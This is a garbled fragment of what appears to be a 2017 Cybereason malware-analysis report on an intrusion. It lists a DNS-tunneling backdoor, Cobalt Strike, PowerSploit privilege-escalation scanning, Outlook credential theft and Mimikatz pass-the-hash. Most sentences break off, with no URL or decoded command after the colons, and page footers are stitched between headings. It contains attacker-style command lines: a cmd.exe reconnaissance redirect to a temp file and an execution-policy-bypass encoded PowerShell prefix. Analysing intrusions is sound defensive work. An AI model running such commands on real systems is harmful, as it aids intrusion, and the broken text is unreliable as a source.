File Name: pic.png, SHA-1: f3e27ad08622060fa7a3cc1c7ea83a7885560899

The shellcode downloads a payload from the following URL:

Final payload: Cobalt Strike Beacon

©2017 Cybereason Inc. All rights reserved. 16

©2017 Cybereason Inc. All rights reserved. 17

3.3. Variant of Denis Backdoor using DNS Tunneling

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©2017 Cybereason Inc. All rights reserved. 19

Outlook spawns two cmd.exe shells:

cmd.exe /C “ ipconfig > %temp%.log.txt

3.5. Custom NetCat

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4.1. Internal Network Scanning

Decoded Base64 PowerShell command:

4.2. Information gathering commands

4.3. Vulnerability Scanning using PowerSploit

powershell -nop -exec bypass -EncodedCommand

The encoded command decodes to -

The Invoke-AllChecks command is indicative to the PowerUp privilege escalation “scanner”,

5.1. Obtaining credentials

Other tools used to obtain credentials included:

©2017 Cybereason Inc. All rights reserved. 25

5.1.2. Gaining Outlook credentials

The purpose of the doutlook.ps1 (SHA-1: ebdd6059da1abd97e03d37ba001bad4aa6bcbabd)

5.2. Pass-the-hash and pass-the-ticket

Example 1: Deploying Mimikatz on remote machines

©2017 Cybereason Inc. All rights reserved. 27